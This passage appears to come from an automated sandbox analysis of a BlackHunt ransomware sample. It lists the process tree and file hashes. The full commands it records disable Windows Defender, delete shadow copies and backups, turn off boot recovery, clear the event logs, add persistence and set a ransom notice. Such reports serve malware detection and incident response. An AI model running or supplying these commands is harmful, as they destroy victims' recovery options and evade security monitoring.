                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                    2⤵
                                                                      PID:4964
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:2528
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:1232
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:2852
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:4592
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:4148
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:1952
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:1176
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:4748
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:2256
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:4956
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:2768
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                      2⤵
                                                                      • Suspicious use of WriteProcessMemory
                                                                      PID:2220
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                      2⤵
                                                                        PID:4684
                                                                        • C:\Windows\system32\fsutil.exe
                                                                          fsutil usn deletejournal /D F:\
                                                                          3⤵
                                                                          • Enumerates connected drives
                                                                          PID:14004
                                                                      • C:\Windows\System32\cmd.exe
                                                                        "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                        2⤵
                                                                          PID:14028
                                                                          • C:\Windows\system32\fsutil.exe
                                                                            fsutil usn deletejournal /D C:\
                                                                            3⤵
                                                                              PID:1428
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                            2⤵
                                                                              PID:13956
                                                                              • C:\Windows\system32\fsutil.exe
                                                                                fsutil usn deletejournal /D M:\
                                                                                3⤵
                                                                                • Enumerates connected drives
                                                                                PID:13560
                                                                            • C:\Windows\System32\cmd.exe
                                                                              "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                              2⤵
                                                                                PID:12588
                                                                                • C:\Windows\system32\wevtutil.exe
                                                                                  wevtutil.exe cl System
                                                                                  3⤵
                                                                                  • Clears Windows event logs
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:4032
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                2⤵
                                                                                  PID:13692
                                                                                  • C:\Windows\system32\wevtutil.exe
                                                                                    wevtutil.exe cl Setup
                                                                                    3⤵
                                                                                    • Clears Windows event logs
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    PID:11112
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                  2⤵
                                                                                    PID:13816
                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                      wevtutil.exe cl Application
                                                                                      3⤵
                                                                                      • Clears Windows event logs
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:1032
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                    2⤵
                                                                                      PID:13484
                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                        wevtutil.exe cl Security
                                                                                        3⤵
                                                                                        • Clears Windows event logs
                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                        PID:11100
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                      2⤵
                                                                                        PID:13480
                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                          3⤵
                                                                                          • Interacts with shadow copies
                                                                                          PID:14392
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                        2⤵
                                                                                          PID:13432
                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                            3⤵
                                                                                            • Modifies boot configuration data using bcdedit
                                                                                            PID:6024
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                          2⤵
                                                                                            PID:13676
                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                              wevtutil.exe cl Security /e:false
                                                                                              3⤵
                                                                                              • Clears Windows event logs
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:4876
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                            2⤵
                                                                                              PID:13784
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                3⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:3960
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                              2⤵
                                                                                                PID:7068
                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                  fsutil.exe usn deletejournal /D C:
                                                                                                  3⤵
                                                                                                  • Deletes NTFS Change Journal
                                                                                                  PID:5356
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                2⤵
                                                                                                  PID:5420
                                                                                                  • C:\Windows\system32\wbadmin.exe
                                                                                                    wbadmin.exe delete catalog -quiet
                                                                                                    3⤵
                                                                                                    • Deletes backup catalog
                                                                                                    PID:13336
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                  2⤵
                                                                                                    PID:10436
                                                                                                    • C:\Windows\system32\schtasks.exe
                                                                                                      schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                      3⤵
                                                                                                        PID:12496
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                      2⤵
                                                                                                        PID:5284
                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                          SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                          3⤵
                                                                                                            PID:8652
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                          2⤵
                                                                                                            PID:11364
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                              3⤵
                                                                                                                PID:8480
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                              2⤵
                                                                                                                PID:13768
                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                  REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                  3⤵
                                                                                                                    PID:5336
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                  2⤵
                                                                                                                    PID:13832
                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                      3⤵
                                                                                                                        PID:12572
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                      2⤵
                                                                                                                        PID:8388
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /IM mshta.exe /f
                                                                                                                          3⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:11096
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                        2⤵
                                                                                                                          PID:8996
                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                            3⤵
                                                                                                                              PID:8472
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                            2⤵
                                                                                                                              PID:8788
                                                                                                                              • C:\Windows\system32\notepad.exe
                                                                                                                                notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                3⤵
                                                                                                                                  PID:12216
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                                2⤵
                                                                                                                                • Checks computer location settings
                                                                                                                                • Modifies registry class
                                                                                                                                PID:7764
                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                  "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                  3⤵
                                                                                                                                    PID:11840
                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 11840 -s 1452
                                                                                                                                      4⤵
                                                                                                                                      • Program crash
                                                                                                                                      PID:8604
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe"
                                                                                                                                  2⤵
                                                                                                                                    PID:1052
                                                                                                                                    • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                      ping 127.0.0.1 -n 5
                                                                                                                                      3⤵
                                                                                                                                      • Runs ping.exe
                                                                                                                                      PID:3512
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                  1⤵
                                                                                                                                  • Modifies registry class
                                                                                                                                  PID:4324
                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                                                                                  1⤵
                                                                                                                                    PID:5012
                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                                                                    1⤵
                                                                                                                                      PID:5000
                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                                                      1⤵
                                                                                                                                        PID:1364
                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                        1⤵
                                                                                                                                          PID:9036
                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                          1⤵
                                                                                                                                            PID:5632
                                                                                                                                          • C:\Windows\system32\fsutil.exe
                                                                                                                                            fsutil.exe usn deletejournal /D C:
                                                                                                                                            1⤵
                                                                                                                                            • Deletes NTFS Change Journal
                                                                                                                                            PID:6328
                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                            vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                                            1⤵
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Interacts with shadow copies
                                                                                                                                            PID:6336
                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                            1⤵
                                                                                                                                            • Interacts with shadow copies
                                                                                                                                            PID:6344
                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                            vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                            1⤵
                                                                                                                                            • Interacts with shadow copies
                                                                                                                                            PID:4000
                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                                            1⤵
                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                            PID:6528
                                                                                                                                          • C:\Windows\system32\vssvc.exe
                                                                                                                                            C:\Windows\system32\vssvc.exe
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:6672
                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                                            1⤵
                                                                                                                                            • Interacts with shadow copies
                                                                                                                                            PID:6120
                                                                                                                                          • C:\Windows\system32\wbengine.exe
                                                                                                                                            "C:\Windows\system32\wbengine.exe"
                                                                                                                                            1⤵
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:10448
                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                            vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                                            1⤵
                                                                                                                                            • Enumerates connected drives
                                                                                                                                            • Interacts with shadow copies
                                                                                                                                            PID:5864
                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                                            1⤵
                                                                                                                                              PID:5652
                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                                              1⤵
                                                                                                                                                PID:5788
                                                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                                                SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\db6e9afa6d7eed242e326d34ea65aa5485cc2c90705f9f68541c85a77a1be531.exe" /F
                                                                                                                                                1⤵
                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                PID:5700
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                                                                                1⤵
                                                                                                                                                  PID:5628
                                                                                                                                                • C:\Windows\System32\vdsldr.exe
                                                                                                                                                  C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                  1⤵
                                                                                                                                                    PID:10660
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                                                                                    1⤵
                                                                                                                                                      PID:4976
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                                                                                                      1⤵
                                                                                                                                                        PID:908
                                                                                                                                                      • C:\Windows\System32\vds.exe
                                                                                                                                                        C:\Windows\System32\vds.exe
                                                                                                                                                        1⤵
                                                                                                                                                        • Checks SCSI registry key(s)
                                                                                                                                                        PID:2984
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                        1⤵
                                                                                                                                                          PID:2096
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                                                                                                          1⤵
                                                                                                                                                            PID:4124
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                                                                                                            1⤵
                                                                                                                                                              PID:824
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                                                                                                                              1⤵
                                                                                                                                                                PID:1936
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:3664
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:3716
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:4864
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:2816
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:1128
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Adds Run key to start application
                                                                                                                                                                          PID:552
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies Windows Defender Real-time Protection settings
                                                                                                                                                                          PID:1396
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          PID:5036
                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          PID:2740
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 11840 -ip 11840
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:8332

                                                                                                                                                                          Network

                                                                                                                                                                          MITRE ATT&CK Enterprise v15

                                                                                                                                                                          Replay Monitor

                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                          Downloads

                                                                                                                                                                          • C:\#BlackHunt_ReadMe.hta

                                                                                                                                                                            Filesize

                                                                                                                                                                            12KB

                                                                                                                                                                            MD5

                                                                                                                                                                            e7ef462f494df2b92e9186ee19e7e448

                                                                                                                                                                            SHA1

                                                                                                                                                                            404e5394f3981e079a05c0f7e7691a9e481f4061

                                                                                                                                                                            SHA256

                                                                                                                                                                            aa5ec698c2cf10353f001f812c5224dea9b60c5d13ab98ee7b497f3399ad9555

                                                                                                                                                                            SHA512

                                                                                                                                                                            6a2dfe3d315b89828b0d7c4aeaaaf98fc64cb6946e0f66ba023bd47303ed1f1c956249261ef2fb38f1851b51715183a45a6f1f3f2e5f9b62ee4710754bdc8b17

                                                                                                                                                                          • C:\ProgramData\#BlackHunt_Private.key

                                                                                                                                                                            Filesize

                                                                                                                                                                            1KB

                                                                                                                                                                            MD5

                                                                                                                                                                            5a64bda2b8ff64df1f2046583466859c

                                                                                                                                                                            SHA1

                                                                                                                                                                            b29a66aedcbb5be96afabfc725fc122427d03e86

                                                                                                                                                                            SHA256

                                                                                                                                                                            81b94476c329336ba2a66ce1473325ff582b93e2d64790c03662b63114f9d842

                                                                                                                                                                            SHA512

                                                                                                                                                                            73e685c36c08e82c2612aeeda3af9292f45d943532ede11ab99a5cc2cdfbd3489a3f7f9ba6d9b97788c61eaa14494294a6c2a3ffa36eddffeea769e53fa28588

                                                                                                                                                                          • C:\ProgramData\#BlackHunt_ReadMe.hta

                                                                                                                                                                            Filesize

                                                                                                                                                                            12KB

                                                                                                                                                                            MD5

                                                                                                                                                                            0d344755cbf2fc11a0b732585e017df2

                                                                                                                                                                            SHA1

                                                                                                                                                                            f4004f1b903def0459398ed24d10a34956c64cfb

                                                                                                                                                                            SHA256

                                                                                                                                                                            85b293a1dff2beb547149ffc023ed0a84c0c0c3e183e3e552d1ee41c55818b70

                                                                                                                                                                            SHA512

                                                                                                                                                                            b6783619fdaca4ea51b32de4983aafb58dcc158bdcbfb9b43a26144c30e73a1e499310607c39f674b6ba28d10c72140ffd23d6f50256379085cf628d16935841

                                                                                                                                                                          • F:\#BlackHunt_ReadMe.txt

                                                                                                                                                                            Filesize

                                                                                                                                                                            684B

                                                                                                                                                                            MD5

                                                                                                                                                                            16e1485bcebd7531e8cde616aaed27fb

                                                                                                                                                                            SHA1

                                                                                                                                                                            f163de7329da4d3c0ecc26ecc475fd26412aa988

                                                                                                                                                                            SHA256

                                                                                                                                                                            9ef4c462782b6f571c5d9d9c75f38c8cc679b953882455c91c757bc9e204d5e8

                                                                                                                                                                            SHA512

                                                                                                                                                                            6b31d817d64f28fa0685811b6877021fe3ba3b85280dd75c4925a13b7b96d6eb5dc79c69e037fae06ac9bbb37190ec0f57670ae0e8329739711f2832ebfc73fe